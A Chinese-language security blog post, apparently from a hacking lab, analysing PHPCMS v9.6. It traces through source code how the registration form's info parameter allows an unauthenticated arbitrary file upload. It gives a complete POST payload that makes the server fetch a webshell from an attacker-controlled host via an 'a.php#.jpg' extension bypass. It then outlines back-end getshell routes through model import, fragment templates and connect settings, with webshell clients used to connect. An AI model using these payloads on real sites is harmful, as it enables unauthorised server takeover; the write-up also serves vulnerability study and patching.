基本介绍
PHPCMS是一款网站管理软件,该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计、开发与维护,它支持众多的程序组合,可轻松实现网站平台迁移并可广泛满足各种规模的网站需求,可靠性高,是一款具备文章、下载、图片、分类信息、影视、商城、采集、财务等众多功能的强大、易用、可扩展的优秀网站管理软件,本篇文章将对PHPCMS的前台和后台相关的安全漏洞进行分析复现并给出几种getshell的思路
前台漏洞
漏洞介绍
PHPCMS版本的注册页面的$POST[\\’info\\’]参数可控导致攻击者可以调用member_input类的所有方法,攻击者可以通过构造特殊的恶意后缀绕过检测并借助业务逻辑自身的设计在未授权的情况下实现任意文件上传并getshell
源码分析
查看PHPCMS v9.6版本中的用户注册功能,可以看到这里会首先去获取siteid,随后定义站点的id常量并加载了用户模块和短信模块的配置,之后通过对\\”$POST[\\’dosubmit\\’]\\”是否为空进行判断来确定是否要进入用户注册流程当中并开启验证码提取用户提交的表单数据信息:
public function register() {
$this->_session_start();
//获取用户siteid
$siteid = isset($_REQUEST[\\\'siteid\\\']) && trim($_REQUEST[\\\'siteid\\\']) ? intval($_REQUEST[\\\'siteid\\\']) : 1;
//定义站点id常量
if (!defined(\\\'SITEID\\\')) {
define(\\\'SITEID\\\', $siteid);
}
//加载用户模块配置
$member_setting = getcache(\\\'member_setting\\\');
if(!$member_setting[\\\'allowregister\\\']) {
showmessage(L(\\\'deny_register\\\'), \\\'index.php?m=member&c=index&a=login\\\');
}
//加载短信模块配置
$sms_setting_arr = getcache(\\\'sms\\\',\\\'sms\\\');
$sms_setting = $sms_setting_arr[$siteid];
header(\\\"Cache-control: private\\\");
if(isset($_POST[\\\'dosubmit\\\'])) {
if($member_setting[\\\'enablcodecheck\\\']==\\\'1\\\'){//开启验证码
if ((empty($_SESSION[\\\'connectid\\\']) && $_SESSION[\\\'code\\\'] != strtolower($_POST[\\\'code\\\']) && $_POST[\\\'code\\\']!==NULL) || empty($_SESSION[\\\'code\\\'])) {
showmessage(L(\\\'code_error\\\'));
} else {
$_SESSION[\\\'code\\\'] = \\\'\\\';
}
}
$userinfo = array();
$userinfo[\\\'encrypt\\\'] = create_randomstr(6);
$userinfo[\\\'username\\\'] = (isset($_POST[\\\'username\\\']) && is_username($_POST[\\\'username\\\'])) ? $_POST[\\\'username\\\'] : exit(\\\'0\\\');
$userinfo[\\\'nickname\\\'] = (isset($_POST[\\\'nickname\\\']) && is_username($_POST[\\\'nickname\\\'])) ? $_POST[\\\'nickname\\\'] : \\\'\\\';
$userinfo[\\\'email\\\'] = (isset($_POST[\\\'email\\\']) && is_email($_POST[\\\'email\\\'])) ? $_POST[\\\'email\\\'] : exit(\\\'0\\\');
$userinfo[\\\'password\\\'] = (isset($_POST[\\\'password\\\']) && is_badword($_POST[\\\'password\\\'])==false) ? $_POST[\\\'password\\\'] : exit(\\\'0\\\');
$userinfo[\\\'email\\\'] = (isset($_POST[\\\'email\\\']) && is_email($_POST[\\\'email\\\'])) ? $_POST[\\\'email\\\'] : exit(\\\'0\\\');
$userinfo[\\\'modelid\\\'] = isset($_POST[\\\'modelid\\\']) ? intval($_POST[\\\'modelid\\\']) : 10;
$userinfo[\\\'regip\\\'] = ip();
$userinfo[\\\'point\\\'] = $member_setting[\\\'defualtpoint\\\'] ? $member_setting[\\\'defualtpoint\\\'] : 0;
$userinfo[\\\'amount\\\'] = $member_setting[\\\'defualtamount\\\'] ? $member_setting[\\\'defualtamount\\\'] : 0;
$userinfo[\\\'regdate\\\'] = $userinfo[\\\'lastdate\\\'] = SYS_TIME;
$userinfo[\\\'siteid\\\'] = $siteid;
$userinfo[\\\'connectid\\\'] = isset($_SESSION[\\\'connectid\\\']) ? $_SESSION[\\\'connectid\\\'] : \\\'\\\';
$userinfo[\\\'from\\\'] = isset($_SESSION[\\\'from\\\']) ? $_SESSION[\\\'from\\\'] : \\\'\\\';
此漏洞的关键点是注册流程流程中的$POST[\\’info\\’]可控,参数首先通过\\”new_html_special_chars\\”来转义了一下HTML特殊字符,之后用将其传入到了member_input中,在这里我们跟进get函数来看看:
if($member_setting[\\\'choosemodel\\\']) {
require_once CACHE_MODEL_PATH.\\\'member_input.class.php\\\';
require_once CACHE_MODEL_PATH.\\\'member_update.class.php\\\';
$member_input = new member_input($userinfo[\\\'modelid\\\']);
$_POST[\\\'info\\\'] = array_map(\\\'new_html_special_chars\\\',$_POST[\\\'info\\\']);
$user_model_info = $member_input->get($_POST[\\\'info\\\']);
}
在get函数中的$data入参可控,该参数首先通过trim_sript函数进行了一次处理(对javscript代码进行转义),随后可以看到这里用foreach进行遍历$data,键名为$field,键值为$value并用safe_replace进行了一次安全替换,在这里我们可以调用member_input的所有方法
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache(\\\'member_model\\\', \\\'commons\\\');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid][\\\'tablename\\\'];
$info = array();
$debar_filed = array(\\\'catid\\\',\\\'title\\\',\\\'style\\\',\\\'thumb\\\',\\\'status\\\',\\\'islink\\\',\\\'description\\\');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data[\\\'islink\\\']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field][\\\'name\\\'];
$minlength = $this->fields[$field][\\\'minlength\\\'];
$maxlength = $this->fields[$field][\\\'maxlength\\\'];
$pattern = $this->fields[$field][\\\'pattern\\\'];
$errortips = $this->fields[$field][\\\'errortips\\\'];
if(empty($errortips)) $errortips = \\\"$name 不符合要求!\\\";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage(\\\"$name 不得少于 $minlength 个字符!\\\");
if (!array_key_exists($field, $this->fields)) showmessage(\\\'模型中不存在\\\'.$field.\\\'字段\\\');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage(\\\"$name 不得超过 $maxlength 个字符!\\\");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field][\\\'isunique\\\'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != \\\'edit\\\') showmessage(\\\"$name 的值不得重复!\\\");
$func = $this->fields[$field][\\\'formtype\\\'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}
trim_sript函数代码如下所示,其主要作用就是对javscript代码进行转义:
/**
* 转义 javascript 代码标记
*
* @param $str
* @return mixed
*/
function trim_script($str) {
if(is_array($str)){
foreach ($str as $key => $val){
$str[$key] = trim_script($val);
}
}else{
$str = preg_replace ( \\\'/\\\\<([\\\\/]?)script([^\\\\>]*?)\\\\>/si\\\', \\\'<\\\\\\\\1script\\\\\\\\2>\\\', $str );
$str = preg_replace ( \\\'/\\\\<([\\\\/]?)iframe([^\\\\>]*?)\\\\>/si\\\', \\\'<\\\\\\\\1iframe\\\\\\\\2>\\\', $str );
$str = preg_replace ( \\\'/\\\\<([\\\\/]?)frame([^\\\\>]*?)\\\\>/si\\\', \\\'<\\\\\\\\1frame\\\\\\\\2>\\\', $str );
$str = str_replace ( \\\'javascript:\\\', \\\'javascript:\\\', $str );
}
return $str;
}
通过查看member_input类我们发现其中有一个editor方法,其中调用了attachment类的download方法
/**
* 附件下载
* Enter description here ...
* @param $field 预留字段
* @param $value 传入下载内容
* @param $watermark 是否加入水印
* @param $ext 下载扩展名
* @param $absurl 绝对路径
* @param $basehref
*/
function download($field, $value,$watermark = \\\'0\\\',$ext = \\\'gif|jpg|jpeg|bmp|png\\\', $absurl = \\\'\\\', $basehref = \\\'\\\')
{
global $image_d;
$this->att_db = pc_base::load_model(\\\'attachment_model\\\');
$upload_url = pc_base::load_config(\\\'system\\\',\\\'upload_url\\\');
$this->field = $field;
$dir = date(\\\'Y/md/\\\');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all(\\\"/(href|src)=([\\\\\\\"|\\\']?)([^ \\\\\\\"\\\'>]+\\\\.($ext))\\\\\\\\2/i\\\", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, \\\'://\\\') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, \\\'://\\\') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS[\\\'downloadfiles\\\'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array(\\\'filename\\\'=>$filename, \\\'filepath\\\'=>$filepath, \\\'filesize\\\'=>filesize($newfile), \\\'fileext\\\'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
在这里对$value中的引号进行了转义,然后使用正则匹配:
$ext = \\\'gif|jpg|jpeg|bmp|png\\\';
...
$string = new_stripslashes($value);
if(!preg_match_all(\\\"/(href|src)=([\\\\\\\"|\\\']?)([^ \\\\\\\"\\\'>]+\\\\.($ext))\\\\\\\\2/i\\\",$string, $matches)) return $value;
这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),此时我们可以通过使用http://xxxx/xxxx/xxxx/xx/a.php#b.jpg 来绕过正则,接下来程序会使用下面的这行代码来去除url中的锚点:
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
可以看到#.jpg会被自动删除了,正因如此,下面的$filename = fileext($file);取的的后缀变成了php,使程序获得我们真正想要的php文件后缀,随后在这一行带入了函数fillurl:
foreach($matches[3] as $matche)
{
if(strpos($matche, \\\'://\\\') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
同时在fillurl中去掉了#后的内容:
$pos = strpos($surl,\\\'#\\\');
if($pos>0) $surl = substr($surl,0,$pos);
随后便进行下载:
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS[\\\'downloadfiles\\\'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array(\\\'filename\\\'=>$filename, \\\'filepath\\\'=>$filepath, \\\'filesize\\\'=>filesize($newfile), \\\'fileext\\\'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
其中$upload_func等同于php的copy函数,如果开启了allow_url_fopen,这个漏洞就构成了:
漏洞复现
利用方式1
首先访问户注册页面并填写表单数据信息,同时使用burpsuite抓取数据包:
之后发送到repeater模块,同时修改请求数据包中的请求数据为:
文件成功上传
利用方式2
在Firefox中访问用户注册页面,同时通过hackbar来POST以下请求(这里的img标签中的src为可以访问到的VPS中的webshell木马程序访问地址):
siteid=1&modelid=11&username=Al1ex&password=1234567&email=1234@163.com&info[content]=<img src=http://192.168.174.138/shell.txt?.php#.jpg>&dosubmit=1&protocol=
之后更具目录去相关目录下查看文件,发现webshell确实已经被成功上传:
之后使用蚁剑来连接:
后台漏洞
下面我们扩展介绍几种PHPCMS中后台getshell的姿势,源码角度的分析就不再展开了
模型导入
我们可以借助PHPCMS后台的模型导入实现getshell操作,具体方法如下:
Step 1:进入后台用户 > 会员模型 管理> 管理会员模型 >中点击\\”添加会员模型\\”
之后导入模型添加刚刚创建的txt文本
之后会看到报错
但此时已生成shell.php脚本
之后使用菜刀链接:
碎片模板
我们可以借助PHPCMS后台的碎片模板实现getshell操作,具体方法如下:
Step 1:首先进入碎片管理->新增一个碎片
Step 2:之后跟新内容
Step 3:访问首页
Step 4:后门文件成功生成
连接设置
在\\”后台-设置-connect\\”表单项中填入以下内容,注意闭合哦
Step 2:之后使用菜刀链接
文末小结
本篇文章主要介绍了PHPCMS的前台未授权getshell方法并对漏洞进行源码视角下的分析和后台的getshell方法的技巧思路汇总
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34300.html